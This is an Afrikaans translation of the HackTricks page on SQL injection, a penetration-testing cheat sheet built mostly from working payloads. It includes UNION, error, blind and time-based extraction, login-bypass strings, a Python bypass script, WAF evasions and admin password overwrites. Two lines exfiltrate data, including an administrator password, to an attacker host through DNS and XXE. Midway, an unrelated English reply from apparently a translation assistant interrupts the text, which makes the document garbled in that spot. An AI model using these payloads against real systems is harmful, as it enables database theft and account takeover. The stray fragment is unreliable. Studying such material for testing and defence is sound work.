SQL Injection
Reading time: 24 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is SQL injection?
'n SQL injection is 'n sekuriteitsgebrek wat aanvalleerders toelaat om met databasisnavrae van 'n toepassing te inmeng. Hierdie kwesbaarheid kan aanvalleerders in staat stel om data wat hulle nie behoort te bereik nie te bekyk, wysig, of verwyder, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud tot gevolg hê, of selfs die bediener kompromitteer of 'n denial of service veroorsaak.
Opsporing van ingangspunte
Wanneer 'n webwerf weens ongewone bedienerreaksies op SQLi-verwante insette vulnerable to SQL injection (SQLi) blyk te wees, is die eerste stap om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier is 'n paar nuttige voorbeelde:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Dan moet jy weet hoe om die query te regstel sodat daar geen foute voorkom nie. Om die query reg te stel, kan jy data invoer sodat die vorige query die nuwe data aanvaar, of jy kan net jou data invoer en 'n kommentaarsimbool by die einde voeg.
Let wel: as jy foutboodskappe kan sien of verskille kan raaksien wanneer 'n query werk en wanneer dit nie werk nie, sal hierdie fase makliker wees.
Kommentaar
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Bevestiging met logiese bewerkings
Een betroubare metode om 'n SQL injection kwesbaarheid te bevestig behels die uitvoer van 'n logiese bewerking en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos ?username=Peter
wat identiese inhoud oplewer wanneer dit gewysig word na ?username=Peter' or '1'='1
dui op 'n SQL injection kwesbaarheid.
Net so dien die toepassing van wiskundige bewerkings as 'n doeltreffende bevestigingstegniek. Byvoorbeeld, as toegang tot ?id=1
en ?id=2-1
dieselfde resultaat lewer, dui dit op 'n SQL injection.
Voorbeelde wat die bevestiging met logiese bewerkings demonstreer:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Hierdie woordlys is geskep om te probeer bevestig SQLinjections op die voorgestelde wyse:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Bevestiging deur tydsmeting
In sommige gevalle sal jy geen verandering op die bladsy wat jy toets opmerk nie. Daarom is 'n goeie manier om discover blind SQL injections te ontdek om die DB opdragte te laat uitvoer wat 'n invloed op die tyd wat die bladsy neem om te laai sal hê.
Daarom gaan ons in die SQL query concat gebruik om 'n operasie in te sluit wat baie tyd sal neem om te voltooi:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In sommige gevalle sal die sleep functions nie toegelaat word nie. In plaas daarvan om daardie functions te gebruik, kan jy die query laat komplekse operasies uitvoer wat 'n paar sekondes sal neem. Voorbeelde van hierdie tegnieke word apart vir elke tegnologie bespreek (indien van toepassing).
Identifisering van Back-end
Die beste manier om die back-end te identifiseer is deur te probeer om functions van die verskillende back-ends uit te voer. Jy kan die sleep functions van die vorige afdeling gebruik of hierdie een (tabel van payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Also, if you have access to the output of the query, you could make it die weergawe van die databasis laat vertoon.
tip
In die vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection te misbruik. Ons gebruik MySQL as voorbeeld.
Identifisering met PortSwigger
SQL injection cheat sheet | Web Security Academy
Uitbuiting van Union Based
Opsporing van die aantal kolomme
If you can see the output of the query this is the best way to exploit it.
Eerstens moet ons uitvind watter aantal kolomme die initiële versoek teruggee. Dit is omdat albei queries dieselfde aantal kolomme moet teruggee.
Twee metodes word gewoonlik vir hierdie doel gebruik:
Order/Group by
Om die aantal kolomme in 'n query te bepaal, pas stapsgewys die nommer wat in ORDER BY of GROUP BY klousules gebruik word aan totdat 'n vals reaksie ontvang word. Ten spyte van die verskillende funksies van GROUP BY en ORDER BY binne SQL, kan albei identies gebruik word om die query se kolom-aantal te bepaal.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Kies meer en meer null-waardes totdat die query korrek is:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Jy moet null
-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan albei kante van die query dieselfde moet wees en null
in alle gevalle geldig is.
Haal databasisname, tabelname en kolomname uit
In die volgende voorbeelde gaan ons die name van alle databasisse, die tabelname van 'n databasis en die kolomname van die tabel terugkry:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Daar is 'n ander manier om hierdie data in elke databasis te ontdek, maar dit is altyd dieselfde metodologie.
Uitbuiting van verborge Union Based
As die output van 'n query sigbaar is, maar 'n union-based injection onbereikbaar lyk, dui dit op die teenwoordigheid van 'n verborge union-based injection. Hierdie situasie lei dikwels tot 'n blind injection. Om 'n blind injection in 'n union-based een te omskep, moet die uitvoering-query op die backend geïdentifiseer word.
Dit kan bereik word deur blind injection tegnieke te gebruik in kombinasie met die standaardtabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
Wanneer die query uitgehaal is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word 'n union query by jou payload aangeheg, wat die uitbuiting van die nuut-toeganklike union-based injection moontlik maak.
Vir meer omvattende insigte, sien die volledige artikel by Healing Blind Injections.
Uitbuiting van Error based
As jy om een of ander rede die output van die query nie kan sien nie, maar jy kan die error messages sien, kan jy hierdie error messages gebruik om data uit die databasis te ex-filtrate.
Deur 'n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiting Blind SQLi
In hierdie geval kan jy nie die resultate van die query of die errors sien nie, maar jy kan onderskei wanneer die query 'n true of 'n false response teruggee omdat daar verskillende inhoud op die bladsy is.
In hierdie geval kan jy daardie gedrag misbruik om die database karakter vir karakter te dump:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Dit is die dieselfde geval as voorheen, maar in plaas daarvan om tussen 'n true/false-reaksie van die query te onderskei, kan jy onderskei tussen 'n error in die SQL-query of nie (miskien omdat die HTTP-server crash). Daarom kan jy in hierdie geval elke keer 'n SQLerror forceer as jy die char korrek raai:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Uitbuiting van Time Based SQLi
In hierdie geval is daar geen manier om die respons van die query te onderskei op grond van die konteks van die bladsy nie. Maar jy kan die bladsy langer laat laai as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen gesien in gebruik om confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Jy kan stacked queries gebruik om meerdere queries agtereenvolgens uit te voer. Let daarop dat terwyl die daaropvolgende queries uitgevoer word, die resultate nie aan die toepassing teruggestuur word nie. Hierdie tegniek is dus hoofsaaklik nuttig vir blind vulnerabilities, waar jy 'n tweede query kan gebruik om 'n DNS lookup, 'n voorwaardelike fout, of 'n tydvertraging te veroorsaak.
Oracle ondersteun nie stacked queries nie. MySQL, Microsoft en PostgreSQL ondersteun dit: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
As geen ander eksploitasie-metode gewerk het nie, kan jy probeer om die database ex-filtrate die inligting na 'n deur jou beheerde external host. Byvoorbeeld, via DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Out of band data exfiltration via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Geoutomatiseerde Eksploitasie
Kyk na die SQLMap Cheatsheet om 'n SQLi-kwesbaarheid met sqlmap uit te buit.
Tegnologie-spesifieke inligting
Ons het reeds al die maniere bespreek om 'n SQL Injection-kwesbaarheid uit te buit. Vind meer truuks wat van die databasis-tegnologie afhang in hierdie boek:
Of jy sal baie truuks oor: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL vind by https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Outentisering-omseiling
Lys om te probeer om die aanmeldfunksionaliteit te omseil:
Raw hash outentisering-omseiling
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Hierdie query demonstreer ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit uitbuit deur insette te vervaardig wat, wanneer gehash, onverwagte dele van SQL-opdragte produseer en lei tot ongemagtigde toegang.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Aanbevole lys:
Jy moet elke reël van die lys as username gebruik en as password altyd: Pass1234.
(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)
GBK Authentication Bypass
As ' ontsnap word, kan jy %A8%27 gebruik, en wanneer ' ontsnap word sal dit geskep word: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python-skrip:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
Om dit te doen moet jy probeer om 'n nuwe objek te skep met dieselfde naam as die "master object" (waarskynlik admin in die geval van gebruikers) deur iets te wysig:
- Skep gebruiker met naam: AdMIn (hoof- en kleinletters)
- Skep 'n gebruiker met naam: admin=
- SQL Truncation Attack (wanneer daar 'n lengtebeperking in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: admin [a lot of spaces] a
SQL Truncation Attack
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy die gebruiker admin wil naboots, probeer om 'n gebruikersnaam te skep genaamd: "admin [30 spaces] a" en enige wagwoord.
Die databasis sal kontroleer of die ingevoerde gebruikersnaam in die databasis bestaan. Indien nie, sal dit die gebruikersnaam afknip tot die maksimum toegelate aantal karakters (in hierdie geval tot: "admin [25 spaces]") en dan sal dit outomaties al die spasies aan die einde verwyder en binne die databasis die gebruiker "admin" bywerk met die nuwe wagwoord (daar kan 'n fout verskyn maar dit beteken nie dat dit nie gewerk het nie).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: Hierdie aanval sal nie meer werk soos hierbo beskryf in nuutste MySQL installations nie. Alhoewel vergelykings steeds trailing whitespace as verstek ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Voeg soveel ','',''
by as wat nodig is om die VALUES statement te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Die ON DUPLICATE KEY UPDATE
clause in MySQL word gebruik om die aksies te spesifiseer wat die databasis moet uitvoer wanneer 'n poging gemaak word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIQUE index of PRIMARY KEY tot gevolg sou hê. Die volgende voorbeeld demonstreer hoe hierdie funksie misbruik kan word om die wagwoord van 'n administratorrekening te wysig:
Example Payload Injection:
'n Injection payload kan soos volg saamgestel word, waar twee rye probeer word om in die users
tabel ingevoeg te word. Die eerste ry is 'n lokmiddel, en die tweede ry mik op die e-pos van 'n bestaande administrator met die doel om die wagwoord op te dateer:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Hier is hoe dit werk:
- Die query probeer twee rye invoeg: een vir
generic_user@example.com
en nog een viradmin_generic@example.com
. - As die ry vir
admin_generic@example.com
reeds bestaan, word dieON DUPLICATE KEY UPDATE
clause geaktiveer, wat MySQL instrueer om diepassword
veld van die bestaande ry by te werk na "bcrypt_hash_of_newpassword". - Gevolglik kan authentication dan probeer word met
admin_generic@example.com
en die password wat ooreenstem met die bcrypt hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe password se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste password).
Onttrek inligting
Skep 2 rekeninge terselfdertyd
Wanneer jy 'n nuwe user wil skep, is username, password en email nodig:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Gebruik desimale of heksadesimale
Met hierdie tegniek kan jy inligting onttrek deur net 1 account te skep. Dit is belangrik om te weet dat jy niks hoef te comment nie.
Gebruik hex2dec en substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
If the file is in your local repo:
- cat src/pentesting-web/sql-injection/README.md
- less src/pentesting-web/sql-injection/README.md
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
If you have a remote git repo:
- git clone <repo_url> then cat src/pentesting-web/sql-injection/README.md
- git show HEAD:src/pentesting-web/sql-injection/README.md
If you have a raw HTTP URL:
- curl -sL <raw_url>/src/pentesting-web/sql-injection/README.md
- wget -qO- <raw_url>/src/pentesting-web/sql-injection/README.md
Or paste the file contents here and I will translate.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Gebruik hex en replace (en substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection is 'n situasie waar die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. (From Paper)
Voorbeeld:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - om te omseil deur alternatiewe vir witruimte te gebruik
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass deur kommentaar
?id=1/*comment*/and/**/1=1/**/--
Geen witruimte - omseiling deur hakies
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass deur OFFSET, FROM en JOIN te gebruik
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generiese Omseilings
Swartlys met sleutelwoorde - omseil deur gebruik van hoofletters/kleinletters
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist wat sleutelwoorde case-insensitief gebruik - bypass deur 'n ekwivalente operator te gebruik
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in gosecure blog.
Basies kan jy die scientific notation op onverwagte maniere gebruik om die WAF te omseil:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
Eerstens, let daarop dat as die oorspronklike query en die tabel waaruit jy die flag wil uittrek dieselfde aantal kolomme het jy net kan doen: 0 UNION SELECT * FROM flag
Dit is moontlik om toegang tot die derde kolom van 'n tabel te kry sonder om sy naam te gebruik met 'n query soos die volgende: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, dus in 'n sqlinjection sou dit soos volg lyk:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Of deur gebruik te maak van die comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Hierdie truuk is geneem van https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
As gebruikersinvoer in die SELECT list of tabel/kolom identifiers gekonkateneer word, sal prepared statements nie help nie, omdat bind parameters slegs values beskerm en nie identifiers nie. 'n Algemene kwesbare patroon is:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Idee vir uitbuiting: inject a subquery into the field position to exfiltrate arbitrary data:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Aantekeninge:
- Dit werk selfs wanneer die WHERE clause 'n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
- Sommige stacks laat jou ook toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
- Output sinks kan die gekose waarde in HTML/JSON reflekteer, wat XSS of token exfiltration direk vanaf die response toelaat.
Mitigasies:
- Moet nooit identifiers van gebruikersinvoer saamvoeg nie. Kaart toegelate kolomname na 'n vaste allow-list en citeer identifiers behoorlik.
- As dynamic table access nodig is, beperk dit tot 'n beperkte stel en los dit server-side op vanuit 'n veilige mapping.
WAF-bypass-voorsteltools
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Ander Gidse
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force-detectielys
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Verwysings
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.